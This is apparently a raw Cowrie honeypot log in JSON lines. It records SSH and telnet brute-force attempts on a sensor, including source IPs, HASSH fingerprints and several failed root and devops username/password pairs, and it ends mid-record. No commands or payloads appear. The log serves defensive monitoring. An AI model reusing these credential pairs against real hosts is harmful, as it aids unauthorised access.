{"eventid":"cowrie.session.closed","duration":37.46908664703369,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:11.179699Z","src_ip":"103.115.172.252","session":"3adee2b14e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":59764,"dst_ip":"159.203.135.109","dst_port":22,"session":"241a99501a1a","protocol":"ssh","message":"New connection: 191.255.52.36:59764 (159.203.135.109:22) [session: 241a99501a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:16.839420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:16.844075Z","src_ip":"191.255.52.36","session":"241a99501a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:17.032491Z","src_ip":"191.255.52.36","session":"241a99501a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"random","message":"login attempt [root/random] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:17.698057Z","src_ip":"191.255.52.36","session":"241a99501a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:18.921761Z","src_ip":"191.255.52.36","session":"241a99501a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.60596799850464,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:19.686801Z","src_ip":"103.115.172.252","session":"bcf20568f93c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.146514892578125,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:31.466136Z","src_ip":"103.115.172.252","session":"1a244da9a423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29508376121521,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:32.415068Z","src_ip":"103.115.172.252","session":"131cf0b48eda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49960,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eca14df3b32","protocol":"telnet","message":"New connection: 185.26.126.47:49960 (159.203.135.109:23) [session: 1eca14df3b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:34.646123Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":55732,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f9ab26a1ef","protocol":"ssh","message":"New connection: 114.141.59.195:55732 (159.203.135.109:22) [session: d5f9ab26a1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:37.319648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:37.326698Z","src_ip":"114.141.59.195","session":"d5f9ab26a1ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:37.571835Z","src_ip":"114.141.59.195","session":"d5f9ab26a1ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"david","message":"login attempt [root/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:38.591001Z","src_ip":"114.141.59.195","session":"d5f9ab26a1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:39.845910Z","src_ip":"114.141.59.195","session":"d5f9ab26a1ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":47498,"dst_ip":"10.17.0.5","dst_port":23,"session":"76eb305891e3","protocol":"telnet","message":"New connection: 103.115.172.252:47498 (10.17.0.5:23) [session: 76eb305891e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:39.939548Z"}
{"eventid":"cowrie.session.closed","duration":13.660150051116943,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:48.306065Z","src_ip":"185.26.126.47","session":"1eca14df3b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53142,"dst_ip":"10.17.0.5","dst_port":23,"session":"962d36c3d1a0","protocol":"telnet","message":"New connection: 103.115.172.252:53142 (10.17.0.5:23) [session: 962d36c3d1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:49.290639Z"}
{"eventid":"cowrie.session.closed","duration":120.00224328041077,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:00:12.806481Z","src_ip":"103.115.172.252","session":"d51410de73a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.563106298446655,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:00:18.502309Z","src_ip":"103.115.172.252","session":"76eb305891e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc38951a797","protocol":"telnet","message":"New connection: 103.115.172.252:36222 (10.17.0.5:23) [session: ddc38951a797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:00:19.897759Z"}
{"eventid":"cowrie.session.closed","duration":39.50091004371643,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:00:28.791446Z","src_ip":"103.115.172.252","session":"962d36c3d1a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00144362449646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:00:58.733545Z","src_ip":"37.54.214.93","session":"e71c508dd338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":52258,"dst_ip":"10.17.0.5","dst_port":23,"session":"022bfcc95bee","protocol":"telnet","message":"New connection: 103.115.172.252:52258 (10.17.0.5:23) [session: 022bfcc95bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:00:59.026040Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.54.214.93","src_port":49804,"dst_ip":"159.203.135.109","dst_port":23,"session":"32399ae79b12","protocol":"telnet","message":"New connection: 37.54.214.93:49804 (159.203.135.109:23) [session: 32399ae79b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:03.776392Z"}
{"eventid":"cowrie.session.closed","duration":44.55506467819214,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:04.452634Z","src_ip":"103.115.172.252","session":"ddc38951a797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":55028,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0f2dea30d3","protocol":"telnet","message":"New connection: 103.115.172.252:55028 (10.17.0.5:23) [session: be0f2dea30d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:05.757582Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":40677,"dst_ip":"159.203.135.109","dst_port":22,"session":"40cff3cb3f64","protocol":"ssh","message":"New connection: 78.134.49.171:40677 (159.203.135.109:22) [session: 40cff3cb3f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:09.514814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:09.519751Z","src_ip":"78.134.49.171","session":"40cff3cb3f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:09.771667Z","src_ip":"78.134.49.171","session":"40cff3cb3f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123","message":"login attempt [devops/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:10.622614Z","src_ip":"78.134.49.171","session":"40cff3cb3f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:11.769011Z","src_ip":"78.134.49.171","session":"40cff3cb3f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":42268,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ceef25059d","protocol":"ssh","message":"New connection: 5.182.83.231:42268 (10.17.0.5:22) [session: 71ceef25059d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:23.233097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:23.238098Z","src_ip":"5.182.83.231","session":"71ceef25059d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:23.356679Z","src_ip":"5.182.83.231","session":"71ceef25059d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe789789","message":"login attempt [root/qwe789789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:23.861775Z","src_ip":"5.182.83.231","session":"71ceef25059d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:24.986454Z","src_ip":"5.182.83.231","session":"71ceef25059d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.44842863082886,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:38.474312Z","src_ip":"103.115.172.252","session":"022bfcc95bee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39150,"dst_ip":"10.17.0.5","dst_port":23,"session":"4593392355a4","protocol":"telnet","message":"New connection: 103.115.172.252:39150 (10.17.0.5:23) [session: 4593392355a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:42.558169Z"}
{"eventid":"cowrie.session.closed","duration":42.07894229888916,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:47.836374Z","src_ip":"103.115.172.252","session":"be0f2dea30d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":44214,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b0a1848c0e9","protocol":"telnet","message":"New connection: 103.115.172.252:44214 (10.17.0.5:23) [session: 8b0a1848c0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:01:53.330977Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":33678,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbc4aa66ccf3","protocol":"ssh","message":"New connection: 107.173.55.151:33678 (10.17.0.5:22) [session: cbc4aa66ccf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:04.057083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:04.062027Z","src_ip":"107.173.55.151","session":"cbc4aa66ccf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:04.369229Z","src_ip":"107.173.55.151","session":"cbc4aa66ccf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWErty","message":"login attempt [root/123QWErty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:04.509853Z","src_ip":"107.173.55.151","session":"cbc4aa66ccf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:05.542302Z","src_ip":"107.173.55.151","session":"cbc4aa66ccf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.237.191.40","src_port":49080,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f47641f492c","protocol":"telnet","message":"New connection: 37.237.191.40:49080 (159.203.135.109:23) [session: 1f47641f492c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:14.175925Z"}
{"eventid":"cowrie.session.closed","duration":36.76763415336609,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:19.325667Z","src_ip":"103.115.172.252","session":"4593392355a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.482539415359497,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:26.658377Z","src_ip":"37.237.191.40","session":"1f47641f492c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93713712692261,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:02:28.268018Z","src_ip":"103.115.172.252","session":"8b0a1848c0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42328,"dst_ip":"10.17.0.5","dst_port":23,"session":"c648f1d57cd6","protocol":"telnet","message":"New connection: 103.115.172.252:42328 (10.17.0.5:23) [session: c648f1d57cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:03.537640Z"}
{"eventid":"cowrie.session.closed","duration":120.00167965888977,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:03.777765Z","src_ip":"37.54.214.93","session":"32399ae79b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42164,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb634554724","protocol":"telnet","message":"New connection: 103.115.172.252:42164 (10.17.0.5:23) [session: 1fb634554724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:05.130442Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.223.13","src_port":39498,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c79b3735a07","protocol":"ssh","message":"New connection: 47.239.223.13:39498 (159.203.135.109:22) [session: 1c79b3735a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:29.992728Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:30.000693Z","src_ip":"47.239.223.13","session":"1c79b3735a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":58163,"dst_ip":"159.203.135.109","dst_port":22,"session":"541f75651247","protocol":"ssh","message":"New connection: 78.134.49.171:58163 (159.203.135.109:22) [session: 541f75651247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:30.114845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:30.121113Z","src_ip":"78.134.49.171","session":"541f75651247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sh